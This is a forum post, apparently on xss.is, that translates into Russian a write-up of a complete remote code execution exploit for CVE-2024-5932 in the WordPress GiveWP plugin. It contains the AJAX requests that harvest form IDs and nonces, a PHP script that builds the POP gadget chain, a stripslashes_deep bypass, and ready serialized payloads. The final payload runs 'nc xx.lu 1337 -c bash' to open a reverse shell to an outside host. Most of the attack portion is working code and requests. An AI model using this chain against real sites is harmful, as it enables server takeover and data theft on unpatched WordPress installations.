WordPress GiveWP POP to RCE (CVE-2024-5932)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/
Перевёл: BLUA специально для xss.is

Несколько дней назад Wordfence опубликовал пост в блоге о уязвимости инъекции объектов PHP, затрагивающей популярный плагин WordPress GiveWP во всех версиях <= 3.14.1. Поскольку в блоге содержится только информация о (части) используемой POP-цепочки, я решил изучить вопрос и создать полностью функциональный эксплойт для удаленного выполнения кода. В этом посте описывается, как я подошел к процессу, выявил недостающие части и собрал всю POP-цепочку. Благодарность @villu164, который изначально обнаружил уязвимость и цепочку.

Хотя пост в блоге Wordfence дает некоторые сведения о первопричине уязвимости и краткое описание POP-цепочки, он упускает (намеренно, как я полагаю) некоторые ключевые моменты. Я пропущу весь процесс установки и настройки WordPress, а также настройки отладочной среды с использованием VScode и перейду прямо к деталям. Единственным предварительным условием для успешной эксплуатации уязвимости (несмотря на старую версию плагина) является то, что GiveWP должен быть включен и настроен хотя бы с одной формой пожертвования.

Точка входа

Уязвимый путь кода можно активировать с помощью действия ajax give_process_donation. Одна из вещей, которая сразу бросилась в глаза при анализе соответствующего метода give_process_donation_form, — это наличие некоторой проверки nonce на строке 38 в файле includes/process-donation.php.
PHP: Скопировать в буфер обмена
Код:
function give_process_donation_form() {
  // Sanitize Posted Data.
  $post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok.
  // Check whether the form submitted via AJAX or not.
  $is_ajax = isset( $post_data['give_ajax'] );
  // Verify donation form nonce.
  if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
    if ( $is_ajax ) {
      /**
       * Fires when AJAX sends back errors from the donation form.
       *
       * @since 1.0
       */
      do_action( 'give_ajax_donation_errors' );
      give_die();
    } else {
      give_send_back_to_checkout();
    }
  }

Очевидно, нам нужен ID формы пожертвования и её nonce. Если только неправильная конфигурация не приводит к тому, что NONCE_KEY и NONCE_SALT равны каким-то известным публичным значениям, nonce не может быть рассчитан на стороне клиента — прочитайте эту статью, чтобы узнать почему.

Получение ID формы пожертвования

К счастью для нас, GiveWP предоставляет нам AJAX-действие give_form_search, которое можно вызвать без каких-либо других аргументов, чтобы получить ID всех доступных форм пожертвований:
Код: Скопировать в буфер обмена
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_form_search

Это возвращает ID в виде массива:
png1.png



Получение nonce целевой формы

Как упоминалось ранее, WordPress nonces не могут быть легко рассчитаны на стороне клиента. Но нам снова повезло. GiveWP предоставляет нам другое ajax-действие под названием give_donation_form_nonce, которое позволяет получить nonce для конкретной формы пожертвования. Таким образом, вы можете передать ранее найденный ID формы, используя параметр give_form_id:
Код: Скопировать в буфер обмена
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_donation_form_nonce&give_form_id=11

и вы получите nonce в ответ:
png2.png



Запуск уязвимого пути кода

Уязвимый путь кода может быть запущен с использованием действия ajax под названием `give_process_donation`, при передаче ID формы и её nonce. Пример запроса выглядит следующим образом:
Код: Скопировать в буфер обмена
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.178.100:9000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 653
Connection: keep-alive
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&give_email=1@random.com&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized

При запуске этого запроса вы заметите, что значение параметра give_title сохраняется в таблице wp_give_donormeta:
png3.png



Этот ключ give_donor_title_prefix позже десериализуется, как описано в блоге Wordfence, с использованием метода Give()->donor_meta->get_meta().

Обход функции stripslashes_deep

Одна вещь, которая не сразу бросается в глаза, но станет важной позже — это использование функции stripslashes_deep во время валидации массива $user_info, который содержит уязвимый атрибут user_title.

Код: Скопировать в буфер обмена
Код:
// Setup donation information.
  $donation_data = [
    'price'        => $price,
    'purchase_key' => $purchase_key,
    'user_email'   => $user['user_email'],
    'date'         => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ),
    'user_info'    => stripslashes_deep( $user_info ),
    'post_data'    => $post_data,
    'gateway'      => $valid_data['gateway'],
    'card_info'    => $valid_data['cc_info'],
  ];

Почему это важно? Эксплойты, использующие внедрение объектов в PHP, обычно ссылаются на имена классов с использованием их пространств имен, которые могут содержать слэши. Функция stripslashes_deep пытается избавиться от них, вызывая stripslashes для каждого значения. Однако это можно легко обойти, используя четыре слэша (\\) в именах пространств имен.

Восстановление красивой POP-цепочки:

Сообщение Wordfence предоставляет общее, но хорошее описание цепочки для создания Proof of Concept (PoC) на её основе. Давайте разделим эту цепочку на несколько частей:
png4.png



Источник

Воссоздание цепочки на чистом PHP

Следующий PHP-скрипт создает объект для шагов с первого по четвёртый. Вскоре вы узнаете, что пятая часть отсутствует:
Код: Скопировать в буфер обмена
Код:
<?php
namespace Stripe {   
    class StripeObject {
        public $_values = [];
    }
}
namespace Give\PaymentGateways\DataTransferObjects {
    class GiveInsertPaymentData {
        public $userInfo = [];
    }
}
namespace Give\Vendors\Faker {
    class ValidGenerator {
        public $validator = "shell_exec";
        public $maxRetries = 2;
        public $generator = "";
    }
}
namespace  {
    class Give {
        public $container = "1337";
    }
    use Stripe\StripeObject;
    use Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData;
    use Give\Vendors\Faker\ValidGenerator;
    
    # Part 1
    $stripeObject = new StripeObject();
    # Part 2
    $giveInsertPaymentData = new GiveInsertPaymentData();
    $stripeObject->_values['rcesec'] = $giveInsertPaymentData;
    # Part 3
    $giveObject = new Give();
    $giveInsertPaymentData->userInfo = ["address" => $giveObject];
    # Part 4
    $validGenerator = new ValidGenerator();
    $giveObject->container = $validGenerator;
    # Serialize and bypass stripslashes_deep()
    $serializedData = serialize($stripeObject);
    echo str_replace("\\", "\\\\\\\\", $serializedData);
}

Тестирование первой (неполной) версии

Скрипт выше создаст сериализованный объект, похожий на следующий:
Код: Скопировать в буфер обмена
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";s:0:"";}}}}}}

При использовании этого с запросом из шага 3 и установкой точки останова на вызове call_user_func_array в файле vendor/vendor-prefixed/fakerphp/faker/src/Faker/Validgenerator.php, вы заметите, что отсутствует небольшая часть:
png5.png



Прежде чем мы сможем достичь выполнения конечного кода через вызов call_user_func на строке 80 (наша переменная $this->validator корректно установлена на shell_exec), нам нужно каким-то образом заставить вызов call_user_func_array на строке 74 вернуть то, что мы хотим, в качестве аргумента для вызова shell_exec. Хотя мы контролируем свойство $this->generator, мы НЕ контролируем переменную $name, которая установлена на значение get.

Чтобы решить эту небольшую головоломку, нам нужно найти класс, который реализует метод get и, одновременно, возвращает управляемую пользователем строку через свойство $name. Затем свойство $name можно установить на любой аргумент, который мы хотим использовать для вызова shell_exec.

Нахождение гаджета для завершения цепочки

Ища подходящий гаджет, я сразу наткнулся на класс Give\Onboarding\SettingsRepository:
Код: Скопировать в буфер обмена
Код:
class SettingsRepository
{
    /** @var array */
    protected $settings;
    /** @var callable */
    protected $persistCallback;
    /**
     * @since 2.8.0
     *
     * @param callable $persistCallback
     *
     * @param array    $settings
     */
    public function __construct(array $settings, callable $persistCallback)
    {
        $this->settings = $settings;
        $this->persistCallback = $persistCallback;
    }
    /**
     * @since 2.8.0
     *
     * @param string $name The setting name.
     *
     * @return mixed The setting value.
     *
     */
    public function get($name)
    {
        return ($this->has($name))
            ? $this->settings[$name]
            : null;
    }
[...]

Она предоставляет метод get, который должен возвращать элемент, указанный параметром $name, из свойства $this->settings, и это свойство полностью контролируется пользователем!

Соединяя точки


Последнее, что нам нужно сделать, — это установить свойство $this->generator как экземпляр класса SettingsRepository и убедиться, что элемент address1 массива $settings установлен в наш аргумент для вызова shell_exec.
Код: Скопировать в буфер обмена
Код:
[...]
namespace Give\Onboarding {
    class SettingsRepository {
        public $settings = ["address1" => "nc xx.lu 1337 -c bash"];
    }
}
[...]
$validGenerator->generator = new SettingsRepository();
[...]

Это даст вам сериализованный объект, подобный следующему:
Код: Скопировать в буфер обмена
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:8:"settings";a:1:{s:8:"address1";s:21:"nc xx.lu 1337 -c bash";}}}}}}}}

Это теперь приводит к тому, что свойство generator устанавливается как экземпляр класса Give\Onboarding\SettingsRepository.
png6.png



Когда вызов call_user_func_array будет обработан, он найдет элемент address1, как было описано ранее, и вернет его в переменную $res, которая используется в качестве аргумента для финального вызова call_user_func.
png7.png



Это, наконец, запускает вашу забавную обратную оболочку:
png8.png
 
Сверху Снизу